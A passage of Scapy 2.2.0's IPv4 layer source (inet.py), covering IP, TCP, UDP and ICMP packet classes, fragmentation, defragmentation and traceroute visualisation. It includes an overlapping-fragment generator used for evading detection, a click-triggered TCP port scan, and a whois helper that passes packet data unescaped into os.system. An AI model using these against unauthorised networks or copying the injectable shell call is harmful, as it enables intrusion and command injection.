ASN1F_SEQUENCE(ASN1F_OID("pubkey_algo","1.2.840.113549.1.1.1"), ASN1F_field("pk_value",ASN1_NULL(0))), ASN1F_BIT_STRING("pubkey","") ), ASN1F_optionnal(ASN1F_X509_CONT3(ASN1F_SEQUENCE_OF("x509v3ext",[],X509v3Ext))), ), ASN1F_SEQUENCE(ASN1F_OID("sign_algo2","1.2.840.113549.1.1.5"), ASN1F_field("sa2_value",ASN1_NULL(0))), ASN1F_BIT_STRING("signature","") ) scapy-2.2.0/scapy/layers/inet.py0000644000175000017500000015463611430356073014710 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ IPv4 (Internet Protocol v4). """ import os,time,struct,re,socket,new from select import select from collections import defaultdict from scapy.utils import checksum from scapy.layers.l2 import * from scapy.config import conf from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.plist import PacketList,SndRcvList from scapy.automaton import Automaton,ATMT import scapy.as_resolvers #################### ## IP Tools class ## #################### class IPTools: """Add more powers to a class that have a "src" attribute.""" def whois(self): os.system("whois %s" % self.src) def ottl(self): t = [32,64,128,255]+[self.ttl] t.sort() return t[t.index(self.ttl)+1] def hops(self): return self.ottl()-self.ttl-1 _ip_options_names = { 0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", } class _IPOption_HDR(Packet): fields_desc = [ BitField("copy_flag",0, 1), BitEnumField("optclass",0,2,{0:"control",2:"debug"}), BitEnumField("option",0,5, _ip_options_names) ] class IPOption(Packet): fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value length_of="value", adjust=lambda pkt,l:l+2), StrLenField("value", "",length_from=lambda pkt:pkt.length-2) ] def extract_padding(self, p): return "",p registered_ip_options = {} @classmethod def register_variant(cls): cls.registered_ip_options[cls.option.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: opt = ord(pkt[0])&0x1f if opt in cls.registered_ip_options: return cls.registered_ip_options[opt] return cls class IPOption_EOL(IPOption): option = 0 fields_desc = [ _IPOption_HDR ] class IPOption_NOP(IPOption): option=1 fields_desc = [ _IPOption_HDR ] class IPOption_Security(IPOption): copy_flag = 1 option = 2 fields_desc = [ _IPOption_HDR, ByteField("length", 11), ShortField("security",0), ShortField("compartment",0), ShortField("handling_restrictions",0), StrFixedLenField("transmission_control_code","xxx",3), ] class IPOption_LSRR(IPOption): name = "IP Option Loose Source and Record Route" copy_flag = 1 option = 3 fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="routers", adjust=lambda pkt,l:l+3), ByteField("pointer",4), # 4 is first IP FieldListField("routers",[],IPField("","0.0.0.0"), length_from=lambda pkt:pkt.length-3) ] def get_current_router(self): return self.routers[self.pointer/4-1] class IPOption_RR(IPOption_LSRR): name = "IP Option Record Route" option = 7 class IPOption_SSRR(IPOption_LSRR): name = "IP Option Strict Source and Record Route" option = 9 class IPOption_Stream_Id(IPOption): name = "IP Option Stream ID" option = 8 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortField("security",0), ] class IPOption_MTU_Probe(IPOption): name = "IP Option MTU Probe" option = 11 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortField("mtu",0), ] class IPOption_MTU_Reply(IPOption_MTU_Probe): name = "IP Option MTU Reply" option = 12 class IPOption_Traceroute(IPOption): copy_flag = 1 option = 18 fields_desc = [ _IPOption_HDR, ByteField("length", 12), ShortField("id",0), ShortField("outbound_hops",0), ShortField("return_hops",0), IPField("originator_ip","0.0.0.0") ] class IPOption_Address_Extension(IPOption): name = "IP Option Address Extension" copy_flag = 1 option = 19 fields_desc = [ _IPOption_HDR, ByteField("length", 10), IPField("src_ext","0.0.0.0"), IPField("dst_ext","0.0.0.0") ] class IPOption_Router_Alert(IPOption): name = "IP Option Router Alert" copy_flag = 1 option = 20 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortEnumField("alert",0, {0:"router_shall_examine_packet"}), ] class IPOption_SDBM(IPOption): name = "IP Option Selective Directed Broadcast Mode" copy_flag = 1 option = 21 fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="addresses", adjust=lambda pkt,l:l+2), FieldListField("addresses",[],IPField("","0.0.0.0"), length_from=lambda pkt:pkt.length-2) ] TCPOptions = ( { 0 : ("EOL",None), 1 : ("NOP",None), 2 : ("MSS","!H"), 3 : ("WScale","!B"), 4 : ("SAckOK",None), 5 : ("SAck","!"), 8 : ("Timestamp","!II"), 14 : ("AltChkSum","!BH"), 15 : ("AltChkSumOpt",None), 25 : ("Mood","!p") }, { "EOL":0, "NOP":1, "MSS":2, "WScale":3, "SAckOK":4, "SAck":5, "Timestamp":8, "AltChkSum":14, "AltChkSumOpt":15, "Mood":25 } ) class TCPOptionsField(StrField): islist=1 def getfield(self, pkt, s): opsz = (pkt.dataofs-5)*4 if opsz < 0: warning("bad dataofs (%i). Assuming dataofs=5"%pkt.dataofs) opsz = 0 return s[opsz:],self.m2i(pkt,s[:opsz]) def m2i(self, pkt, x): opt = [] while x: onum = ord(x[0]) if onum == 0: opt.append(("EOL",None)) x=x[1:] break if onum == 1: opt.append(("NOP",None)) x=x[1:] continue olen = ord(x[1]) if olen < 2: warning("Malformed TCP option (announced length is %i)" % olen) olen = 2 oval = x[2:olen] if TCPOptions[0].has_key(onum): oname, ofmt = TCPOptions[0][onum] if onum == 5: #SAck ofmt += "%iI" % (len(oval)/4) if ofmt and struct.calcsize(ofmt) == len(oval): oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] opt.append((oname, oval)) else: opt.append((onum, oval)) x = x[olen:] return opt def i2m(self, pkt, x): opt = "" for oname,oval in x: if type(oname) is str: if oname == "NOP": opt += "\x01" continue elif oname == "EOL": opt += "\x00" continue elif TCPOptions[1].has_key(oname): onum = TCPOptions[1][oname] ofmt = TCPOptions[0][onum][1] if onum == 5: #SAck ofmt += "%iI" % len(oval) if ofmt is not None and (type(oval) is not str or "s" in ofmt): if type(oval) is not tuple: oval = (oval,) oval = struct.pack(ofmt, *oval) else: warning("option [%s] unknown. Skipped."%oname) continue else: onum = oname if type(oval) is not str: warning("option [%i] is not string."%onum) continue opt += chr(onum)+chr(2+len(oval))+oval return opt+"\x00"*(3-((len(opt)+3)%4)) def randval(self): return [] # XXX class ICMPTimeStampField(IntField): re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") def i2repr(self, pkt, val): if val is None: return "--" else: sec, milli = divmod(val, 1000) min, sec = divmod(sec, 60) hour, min = divmod(min, 60) return "%d:%d:%d.%d" %(hour, min, sec, int(milli)) def any2i(self, pkt, val): if type(val) is str: hmsms = self.re_hmsm.match(val) if hmsms: h,_,m,_,s,_,ms = hmsms = hmsms.groups() ms = int(((ms or "")+"000")[:3]) val = ((int(h)*60+int(m or 0))*60+int(s or 0))*1000+ms else: val = 0 elif val is None: val = int((time.time()%(24*60*60))*1000) return val class IP(Packet, IPTools): name = "IP" fields_desc = [ BitField("version" , 4 , 4), BitField("ihl", None, 4), XByteField("tos", 0), ShortField("len", None), ShortField("id", 1), FlagsField("flags", 0, 3, ["MF","DF","evil"]), BitField("frag", 0, 13), ByteField("ttl", 64), ByteEnumField("proto", 0, IP_PROTOS), XShortField("chksum", None), #IPField("src", "127.0.0.1"), Emph(SourceIPField("src","dst")), Emph(IPField("dst", "127.0.0.1")), PacketListField("options", [], IPOption, length_from=lambda p:p.ihl*4-20) ] def post_build(self, p, pay): ihl = self.ihl p += "\0"*((-len(p))%4) # pad IP options if needed if ihl is None: ihl = len(p)/4 p = chr(((self.version&0xf)<<4) | ihl&0x0f)+p[1:] if self.len is None: l = len(p)+len(pay) p = p[:2]+struct.pack("!H", l)+p[4:] if self.chksum is None: ck = checksum(p) p = p[:10]+chr(ck>>8)+chr(ck&0xff)+p[12:] return p+pay def extract_padding(self, s): l = self.len - (self.ihl << 2) return s[:l],s[l:] def send(self, s, slp=0): for p in self: try: s.sendto(str(p), (p.dst,0)) except socket.error, msg: log_runtime.error(msg) if slp: time.sleep(slp) def route(self): dst = self.dst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route.route(dst) def hashret(self): if ( (self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3,4,5,11,12]) ): return self.payload.payload.hashret() else: if conf.checkIPsrc and conf.checkIPaddr: return strxor(inet_aton(self.src),inet_aton(self.dst))+struct.pack("B",self.proto)+self.payload.hashret() else: return struct.pack("B", self.proto)+self.payload.hashret() def answers(self, other): if not isinstance(other,IP): return 0 if conf.checkIPaddr and (self.dst != other.src): return 0 if ( (self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3,4,5,11,12]) ): # ICMP error message return self.payload.payload.answers(other) else: if ( (conf.checkIPaddr and (self.src != other.dst)) or (self.proto != other.proto) ): return 0 return self.payload.answers(other.payload) def mysummary(self): s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") if self.frag: s += " frag:%i" % self.frag return s def fragment(self, fragsize=1480): """Fragment IP datagrams""" fragsize = (fragsize+7)/8*8 lst = [] fnb = 0 fl = self while fl.underlayer is not None: fnb += 1 fl = fl.underlayer for p in fl: s = str(p[fnb].payload) nb = (len(s)+fragsize-1)/fragsize for i in range(nb): q = p.copy() del(q[fnb].payload) del(q[fnb].chksum) del(q[fnb].len) if i == nb-1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i*fragsize/8 r = Raw(load=s[i*fragsize:(i+1)*fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst class TCP(Packet): name = "TCP" fields_desc = [ ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 4), FlagsField("flags", 0x2, 8, "FSRPAUEC"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", {}) ] def post_build(self, p, pay): p += pay dataofs = self.dataofs if dataofs is None: dataofs = 5+((len(self.get_field("options").i2m(self,self.options))+3)/4) p = p[:12]+chr((dataofs << 4) | ord(p[12])&0x0f)+p[13:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: ln = self.underlayer.len-20 else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck=checksum(psdhdr+p) p = p[:16]+struct.pack("!H", ck)+p[18:] elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) p = p[:16]+struct.pack("!H", ck)+p[18:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def hashret(self): if conf.checkIPsrc: return struct.pack("H",self.sport ^ self.dport)+self.payload.hashret() else: return self.payload.hashret() def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 if (abs(other.seq-self.ack) > 2+len(other.payload)): return 0 return 1 def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") else: return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:4]+struct.pack("!H",l)+p[6:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: ln = self.underlayer.len-20 else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck=checksum(psdhdr+p) p = p[:6]+struct.pack("!H", ck)+p[8:] elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) p = p[:6]+struct.pack("!H", ck)+p[8:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def extract_padding(self, s): l = self.len - 8 return s[:l],s[l:] def hashret(self): return self.payload.hashret() def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if self.dport != other.sport: return 0 return self.payload.answers(other.payload) def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") else: return self.sprintf("UDP %UDP.sport% > %UDP.dport%") icmptypes = { 0 : "echo-reply", 3 : "dest-unreach", 4 : "source-quench", 5 : "redirect", 8 : "echo-request", 9 : "router-advertisement", 10 : "router-solicitation", 11 : "time-exceeded", 12 : "parameter-problem", 13 : "timestamp-request", 14 : "timestamp-reply", 15 : "information-request", 16 : "information-response", 17 : "address-mask-request", 18 : "address-mask-reply" } icmpcodes = { 3 : { 0 : "network-unreachable", 1 : "host-unreachable", 2 : "protocol-unreachable", 3 : "port-unreachable", 4 : "fragmentation-needed", 5 : "source-route-failed", 6 : "network-unknown", 7 : "host-unknown", 9 : "network-prohibited", 10 : "host-prohibited", 11 : "TOS-network-unreachable", 12 : "TOS-host-unreachable", 13 : "communication-prohibited", 14 : "host-precedence-violation", 15 : "precedence-cutoff", }, 5 : { 0 : "network-redirect", 1 : "host-redirect", 2 : "TOS-network-redirect", 3 : "TOS-host-redirect", }, 11 : { 0 : "ttl-zero-during-transit", 1 : "ttl-zero-during-reassembly", }, 12 : { 0 : "ip-header-bad", 1 : "required-option-missing", }, } class ICMP(Packet): name = "ICMP" fields_desc = [ ByteEnumField("type",8, icmptypes), MultiEnumField("code",0, icmpcodes, depends_on=lambda pkt:pkt.type,fmt="B"), XShortField("chksum", None), ConditionalField(XShortField("id",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]), ConditionalField(XShortField("seq",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]), ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13,14]), ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13,14]), ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13,14]), ConditionalField(IPField("gw","0.0.0.0"), lambda pkt:pkt.type==5), ConditionalField(ByteField("ptr",0), lambda pkt:pkt.type==12), ConditionalField(X3BytesField("reserved",0), lambda pkt:pkt.type==12), ConditionalField(IPField("addr_mask","0.0.0.0"), lambda pkt:pkt.type in [17,18]), ConditionalField(IntField("unused",0), lambda pkt:pkt.type not in [0,5,8,12,13,14,15,16,17,18]), ] def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p def hashret(self): if self.type in [0,8,13,14,15,16,17,18]: return struct.pack("HH",self.id,self.seq)+self.payload.hashret() return self.payload.hashret() def answers(self, other): if not isinstance(other,ICMP): return 0 if ( (other.type,self.type) in [(8,0),(13,14),(15,16),(17,18)] and self.id == other.id and self.seq == other.seq ): return 1 return 0 def guess_payload_class(self, payload): if self.type in [3,4,5,11,12]: return IPerror else: return None def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%") else: return self.sprintf("ICMP %ICMP.type% %ICMP.code%") class IPerror(IP): name = "IP in ICMP" def answers(self, other): if not isinstance(other, IP): return 0 if not ( ((conf.checkIPsrc == 0) or (self.dst == other.dst)) and (self.src == other.src) and ( ((conf.checkIPID == 0) or (self.id == other.id) or (conf.checkIPID == 1 and self.id == socket.htons(other.id)))) and (self.proto == other.proto) ): return 0 return self.payload.answers(other.payload) def mysummary(self): return Packet.mysummary(self) class TCPerror(TCP): name = "TCP in ICMP" def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 if conf.check_TCPerror_seqack: if self.seq is not None: if self.seq != other.seq: return 0 if self.ack is not None: if self.ack != other.ack: return 0 return 1 def mysummary(self): return Packet.mysummary(self) class UDPerror(UDP): name = "UDP in ICMP" def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) class ICMPerror(ICMP): name = "ICMP in ICMP" def answers(self, other): if not isinstance(other,ICMP): return 0 if not ((self.type == other.type) and (self.code == other.code)): return 0 if self.code in [0,8,13,14,17,18]: if (self.id == other.id and self.seq == other.seq): return 1 else: return 0 else: return 1 def mysummary(self): return Packet.mysummary(self) bind_layers( Ether, IP, type=2048) bind_layers( CookedLinux, IP, proto=2048) bind_layers( GRE, IP, proto=2048) bind_layers( SNAP, IP, code=2048) bind_layers( IPerror, IPerror, frag=0, proto=4) bind_layers( IPerror, ICMPerror, frag=0, proto=1) bind_layers( IPerror, TCPerror, frag=0, proto=6) bind_layers( IPerror, UDPerror, frag=0, proto=17) bind_layers( IP, IP, frag=0, proto=4) bind_layers( IP, ICMP, frag=0, proto=1) bind_layers( IP, TCP, frag=0, proto=6) bind_layers( IP, UDP, frag=0, proto=17) bind_layers( IP, GRE, frag=0, proto=47) conf.l2types.register(101, IP) conf.l2types.register_num2layer(12, IP) conf.l3types.register(ETH_P_IP, IP) conf.l3types.register_num2layer(ETH_P_ALL, IP) conf.neighbor.register_l3(Ether, IP, lambda l2,l3: getmacbyip(l3.dst)) conf.neighbor.register_l3(Dot3, IP, lambda l2,l3: getmacbyip(l3.dst)) ################### ## Fragmentation ## ################### @conf.commands.register def fragment(pkt, fragsize=1480): """Fragment a big IP datagram""" fragsize = (fragsize+7)/8*8 lst = [] for p in pkt: s = str(p[IP].payload) nb = (len(s)+fragsize-1)/fragsize for i in range(nb): q = p.copy() del(q[IP].payload) del(q[IP].chksum) del(q[IP].len) if i == nb-1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i*fragsize/8 r = Raw(load=s[i*fragsize:(i+1)*fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): if overlap_fragsize is None: overlap_fragsize = fragsize q = p.copy() del(q[IP].payload) q[IP].add_payload(overlap) qfrag = fragment(q, overlap_fragsize) qfrag[-1][IP].flags |= 1 return qfrag+fragment(p, fragsize) @conf.commands.register def defrag(plist): """defrag(plist) -> ([not fragmented], [defragmented], [ [bad fragments], [bad fragments], ... ])""" frags = defaultdict(PacketList) nofrag = PacketList() for p in plist: ip = p[IP] if IP not in p: nofrag.append(p) continue if ip.frag == 0 and ip.flags & 1 == 0: nofrag.append(p) continue uniq = (ip.id,ip.src,ip.dst,ip.proto) frags[uniq].append(p) defrag = [] missfrag = [] for lst in frags.itervalues(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag.append(lst) continue p = p.copy() if Padding in p: del(p[Padding].underlayer.payload) ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl<<2) txt = Raw() for q in lst[1:]: if clen != q.frag<<3: # Wrong fragmentation offset if clen > q.frag<<3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag<<3, p,txt,q)) missfrag.append(lst) break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl<<2) if Padding in q: del(q[Padding].underlayer.payload) txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del(ip.chksum) del(ip.len) p = p/txt defrag.append(p) defrag2=PacketList() for p in defrag: defrag2.append(p.__class__(str(p))) return nofrag,defrag2,missfrag @conf.commands.register def defragment(plist): """defrag(plist) -> plist defragmented as much as possible """ frags = defaultdict(lambda:[]) final = [] pos = 0 for p in plist: p._defrag_pos = pos pos += 1 if IP in p: ip = p[IP] if ip.frag != 0 or ip.flags & 1: ip = p[IP] uniq = (ip.id,ip.src,ip.dst,ip.proto) frags[uniq].append(p) continue final.append(p) defrag = [] missfrag = [] for lst in frags.itervalues(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag += lst continue p = p.copy() if Padding in p: del(p[Padding].underlayer.payload) ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl<<2) txt = Raw() for q in lst[1:]: if clen != q.frag<<3: # Wrong fragmentation offset if clen > q.frag<<3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag<<3, p,txt,q)) missfrag += lst break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl<<2) if Padding in q: del(q[Padding].underlayer.payload) txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del(ip.chksum) del(ip.len) p = p/txt p._defrag_pos = max(x._defrag_pos for x in lst) defrag.append(p) defrag2=[] for p in defrag: q = p.__class__(str(p)) q._defrag_pos = p._defrag_pos defrag2.append(q) final += defrag2 final += missfrag final.sort(key=lambda x: x._defrag_pos) for p in final: del(p._defrag_pos) if hasattr(plist, "listname"): name = "Defragmented %s" % plist.listname else: name = "Defragmented" return PacketList(final, name=name) ### Add timeskew_graph() method to PacketList def _packetlist_timeskew_graph(self, ip, **kargs): """Tries to graph the timeskew between the timestamps and real time for a given ip""" res = map(lambda x: self._elt2pkt(x), self.res) b = filter(lambda x:x.haslayer(IP) and x.getlayer(IP).src == ip and x.haslayer(TCP), res) c = [] for p in b: opts = p.getlayer(TCP).options for o in opts: if o[0] == "Timestamp": c.append((p.time,o[1][0])) if not c: warning("No timestamps found in packet list") return d = map(lambda (x,y): (x%2000,((x-c[0][0])-((y-c[0][1])/1000.0))),c) g = Gnuplot.Gnuplot() g.plot(Gnuplot.Data(d,**kargs)) return g PacketList.timeskew_graph = new.instancemethod(_packetlist_timeskew_graph, None, PacketList) ### Create a new packet list class TracerouteResult(SndRcvList): def __init__(self, res=None, name="Traceroute", stats=None): PacketList.__init__(self, res, name, stats) self.graphdef = None self.graphASres = 0 self.padding = 0 self.hloc = None self.nloc = None def show(self): return self.make_table(lambda (s,r): (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IP not in s: continue d = s[IP].dst if d not in trace: trace[d] = {} trace[d][s[IP].ttl] = r[IP].src, ICMP not in r for k in trace.values(): m = filter(lambda x:k[x][1], k.keys()) if not m: continue m = min(m) for l in k.keys(): if l > m: del(k[l]) return trace def trace3D(self): """Give a 3D representation of the traceroute. right button: rotate the scene middle button: zoom left button: move the scene left button on a ball: toggle IP displaying ctrl-left button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" trace = self.get_trace() import visual class IPsphere(visual.sphere): def __init__(self, ip, **kargs): visual.sphere.__init__(self, **kargs) self.ip=ip self.label=None self.setlabel(self.ip) def setlabel(self, txt,visible=None): if self.label is not None: if visible is None: visible = self.label.visible self.label.visible = 0 elif visible is None: visible=0 self.label=visual.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) def action(self): self.label.visible ^= 1 visual.scene = visual.display() visual.scene.exit_on_close(0) start = visual.box() rings={} tr3d = {} for i in trace: tr = trace[i] tr3d[i] = [] ttl = tr.keys() for t in range(1,max(ttl)+1): if t not in rings: rings[t] = [] if t in tr: if tr[t] not in rings[t]: rings[t].append(tr[t]) tr3d[i].append(rings[t].index(tr[t])) else: rings[t].append(("unk",-1)) tr3d[i].append(len(rings[t])-1) for t in rings: r = rings[t] l = len(r) for i in range(l): if r[i][1] == -1: col = (0.75,0.75,0.75) elif r[i][1]: col = visual.color.green else: col = visual.color.blue s = IPsphere(pos=((l-1)*visual.cos(2*i*visual.pi/l),(l-1)*visual.sin(2*i*visual.pi/l),2*t), ip = r[i][0], color = col) for trlst in tr3d.values(): if t <= len(trlst): if trlst[t-1] == i: trlst[t-1] = s forecol = colgen(0.625, 0.4375, 0.25, 0.125) for trlst in tr3d.values(): col = forecol.next() start = (0,0,0) for ip in trlst: visual.cylinder(pos=start,axis=ip.pos-start,color=col,radius=0.2) start = ip.pos movcenter=None while 1: if visual.scene.kb.keys: k = visual.scene.kb.getkey() if k == "esc" or k == "q": break if visual.scene.mouse.events: ev = visual.scene.mouse.getevent() if ev.press == "left": o = ev.pick if o: if ev.ctrl: if o.ip == "unk": continue savcolor = o.color o.color = (1,0,0) a,b=sr(IP(dst=o.ip)/TCP(dport=[21,22,23,25,80,443]),timeout=2) o.color = savcolor if len(a) == 0: txt = "%s:\nno results" % o.ip else: txt = "%s:\n" % o.ip for s,r in a: txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") o.setlabel(txt, visible=1) else: if hasattr(o, "action"): o.action() elif ev.drag == "left": movcenter = ev.pos elif ev.drop == "left": movcenter = None if movcenter: visual.scene.center -= visual.scene.mouse.pos-movcenter movcenter = visual.scene.mouse.pos def world_trace(self): from modules.geo import locate_ip ips = {} rt = {} ports_done = {} for s,r in self.res: ips[r.src] = None if s.haslayer(TCP) or s.haslayer(UDP): trace_id = (s.src,s.dst,s.proto,s.dport) elif s.haslayer(ICMP): trace_id = (s.src,s.dst,s.proto,s.type) else: trace_id = (s.src,s.dst,s.proto,0) trace = rt.get(trace_id,{}) if not r.haslayer(ICMP) or r.type != 11: if ports_done.has_key(trace_id): continue ports_done[trace_id] = None trace[s.ttl] = r.src rt[trace_id] = trace trt = {} for trace_id in rt: trace = rt[trace_id] loctrace = [] for i in range(max(trace.keys())): ip = trace.get(i,None) if ip is None: continue loc = locate_ip(ip) if loc is None: continue # loctrace.append((ip,loc)) # no labels yet loctrace.append(loc) if loctrace: trt[trace_id] = loctrace tr = map(lambda x: Gnuplot.Data(x,with_="lines"), trt.values()) g = Gnuplot.Gnuplot() world = Gnuplot.File(conf.gnuplot_world,with_="lines") g.plot(world,*tr) return g def make_graph(self,ASres=None,padding=0): if ASres is None: ASres = conf.AS_resolver self.graphASres = ASres self.graphpadding = padding ips = {} rt = {} ports = {} ports_done = {} for s,r in self.res: r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s ips[r.src] = None if TCP in s: trace_id = (s.src,s.dst,6,s.dport) elif UDP in s: trace_id = (s.src,s.dst,17,s.dport) elif ICMP in s: trace_id = (s.src,s.dst,1,s.type) else: trace_id = (s.src,s.dst,s.proto,0) trace = rt.get(trace_id,{}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and ICMPv6TimeExceeded in r): if trace_id in ports_done: continue ports_done[trace_id] = None p = ports.get(r.src,[]) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') ports[r.src] = p else: trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # Fill holes with unk%i nodes unknown_label = incremental_label("unk%i") blackholes = [] bhip = {} for rtk in rt: trace = rt[rtk] k = trace.keys() for n in range(min(k), max(k)): if not trace.has_key(n): trace[n] = unknown_label.next() if not ports_done.has_key(rtk): if rtk[2] == 1: #ICMP bh = "%s %i/icmp" % (rtk[1],rtk[3]) 